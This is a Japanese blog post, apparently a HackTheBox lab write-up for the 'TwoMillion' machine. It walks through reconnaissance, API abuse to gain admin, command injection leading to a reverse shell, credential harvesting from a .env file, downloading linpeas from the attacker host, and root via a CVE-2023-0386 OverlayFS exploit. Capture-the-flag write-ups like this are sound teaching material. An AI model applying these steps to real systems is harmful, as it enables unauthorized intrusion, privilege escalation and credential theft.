0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

概要

HackTheBox「TwoMillion 」マシンのWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.221 -oN nmap_result
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open     http    nginx
|_http-title: Did not follow redirect to http://2million.htb/

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.9p1
80 http nginx

ホスト名が分かったので、/etc/hostsに追加します。

10.10.11.221    2million.htb

Webサイトにアクセスできました。

home page.png

ディレクトリスキャンを行います。

$ dirsearch -u http://2million.htb/ -o dirsearch_result
[00:27:25] 301 -  162B  - /js  ->  http://2million.htb/js/
[00:27:43] 200 -    2KB - /404
[00:28:12] 401 -    0B  - /api
[00:28:13] 401 -    0B  - /api/v1
[00:28:15] 301 -  162B  - /assets  ->  http://2million.htb/assets/
[00:28:15] 403 -  548B  - /assets/
[00:28:32] 403 -  548B  - /controllers/
[00:28:34] 301 -  162B  - /css  ->  http://2million.htb/css/
[00:28:44] 301 -  162B  - /fonts  ->  http://2million.htb/fonts/
[00:28:49] 302 -    0B  - /home  ->  /
[00:28:51] 301 -  162B  - /images  ->  http://2million.htb/images/
[00:28:51] 403 -  548B  - /images/
[00:28:56] 403 -  548B  - /js/
[00:29:00] 200 -    4KB - /login
[00:29:01] 302 -    0B  - /logout  ->  /
[00:29:26] 200 -    4KB - /register
[00:29:52] 301 -  162B  - /views  ->  http://2million.htb/views/

/registerではInvite codeが必要になります。

register.png

/inviteも見つけました。

invite.png

/inviteのソースコードを見ると/js/inviteapi.min.jsを読み込んでいると分かりました。
また、コードの認証に成功すると/registerへリダイレクトすると分かります。

invite code.png

/js/inviteapi.min.jsは難読化されているので解析します。

invite js code.png

verifyInviteCode()makeInviteCode()が定義されていると分かりました。

/js/inviteapi.min.js
// 関数 'verifyInviteCode' を定義
function verifyInviteCode(code) {
    var formData = {"code": code}; // 'code' を含むオブジェクトを作成
    $.ajax({
        type: "POST", // リクエストタイプは POST
        dataType: "json", // データタイプは JSON
        data: formData, // 送信するデータは 'formData'
        url: '/api/v1/invite/verify', // リクエストを送る URL
        success: function(response) {
            console.log(response); // 成功時のレスポンスをコンソールに出力
        },
        error: function(response) {
            console.log(response); // エラー時のレスポンスをコンソールに出力
        }
    });
}

// 関数 'makeInviteCode' を定義
function makeInviteCode() {
    $.ajax({
        type: "POST", // リクエストタイプは POST
        dataType: "json", // データタイプは JSON
        url: '/api/v1/invite/how/to/generate', // リクエストを送る URL
        success: function(response) {
            console.log(response); // 成功時のレスポンスをコンソールに出力
        },
        error: function(response) {
            console.log(response); // エラー時のレスポンスをコンソールに出力
        }
    });
}

/api/v1/invite/how/to/generateへリクエストを送信してみるとROT13で暗号化されたレスポンスが返ってきました。

$ curl -X POST -H "Content-Type: application/json" -d "{}" http://2million.htb/api/v1/invite/how/to/generate 
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}

メッセージを解読すると招待コードを生成するには/api/v1/invite/generateにPOSTリクエストを送信する必要があると分かりました。

rot13 encrypt.png

/api/v1/invite/generateへPOSTリクエストを送信するとエンコードされた招待コードが返ってきました。

$ curl -X POST -H "Content-Type: application/json" -d "{}" http://2million.htb/api/v1/invite/generate       
{"0":200,"success":1,"data":{"code":"Qzc4QjMtT0FNTEYtMFhDTVktVzJYWE8=","format":"encoded"}}

base64でデコードすると招待コードが分かりました。

$ echo -n "Qzc4QjMtT0FNTEYtMFhDTVktVzJYWE8=" | base64 -d
C78B3-OAMLF-0XCMY-W2XXO

/inviteで招待コードを入力し、アカウント作成後ログインに成功しました。

login success.png

Labs->AccessへアクセスするとVPNファイルのダウンロードや生成を行えるページがありました。

access.png

通信先は/api/v1/user/vpn/generate/api/v1/user/vpn/regenerateだと分かりました。

vpn generate path.png

パスが/api/v1/user/~となっていることから/api/v1/admin/~もある可能性があります。
/api/v1へリクエストを送信するとエンドポイントの一覧を取得できました。

api all path.png

PUT /api/v1/admin/settings/updateへのリクエストで現在の一般アカウントをadminアカウントへ変更します。

admin update.png

/api/v1/admin/vpn/generateでVPNファイルを生成してるということは裏でVPNファイル生成コマンドを実行してそうなのでOSコマンドインジェクションができそうです。

試しにターゲットマシンからKaliへpingを送信すると通信が成功しました。

ping.png

$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
06:07:21.957914 IP 2million.htb > 10.10.14.14: ICMP echo request, id 2, seq 64, length 64
06:07:21.957929 IP 10.10.14.14 > 2million.htb: ICMP echo reply, id 2, seq 64, length 64

Netcatでリッスンします。

$ nc -lnvp 1234                                           
listening on [any] 1234 ...

PHPのリバースシェルペイロードを送信してシェルを取得します。

rev shell payload.png

シェルを取得できました。

whoami
www-data

user.txtへアクセスするにはadminアカウントへ昇格する必要があります。

ls -l /home/admin
total 4
-rw-r----- 1 root admin 33 Jun 29 18:37 user.txt
cat /home/admin/user.txt
cat: /home/admin/user.txt: Permission denied

/var/www/html/.envからadminの認証情報を取得できました。

cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

adminアカウントへログインします。

su admin
Password: SuperDuperPass123
whoami
admin

ユーザーフラグを取得できました。

cat /home/admin/user.txt
c090e89971bc1cb173d6ace58ede2558

Root Flag

adminアカウントでSSH接続をします。

$ ssh admin@10.10.11.221
admin@2million:~$

linpeasをローカルマシンからダウンロードし実行します。

$ curl http://10.10.14.14/linpeas.sh -o /tmp/linpeas.sh
$ ./linpeas.sh

メールファイルを発見しました。

╔══════════╣ Mails (limit 50)
      271      4 -rw-r--r--   1 admin    admin         540 Jun  2  2023 /var/mail/admin                              
      271      4 -rw-r--r--   1 admin    admin         540 Jun  2  2023 /var/spool/mail/admin

メールの中身を閲覧するとOverlayFS / FUSEで脆弱性があるみたいです。

From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

検索するとCVE-2023-0386の脆弱性がヒットしました。

こちらのPoCを使用します。

一度KaliへPoCをダウンロードしKaliからターゲットマシンへダウンロードします。
ダウンロード後コンパイルします。

make all

ターゲットマシン側でターミナルを2つ開いて、まず片方で下記コマンドを実行します。

./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0

その後、もう一方のターミナルで下記コマンドを実行するとroot権限を取得出来ました。

$ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root   root     4096 Jun 30 10:56 .
drwxrwxr-x 6 root   root     4096 Jun 30 10:56 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@2million:/tmp/10.10.14.14# whoami
root

/root/root.txtからフラグを入手します。

# cat /root/root.txt
de8f30755580eb5f527086682fb83b30
0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?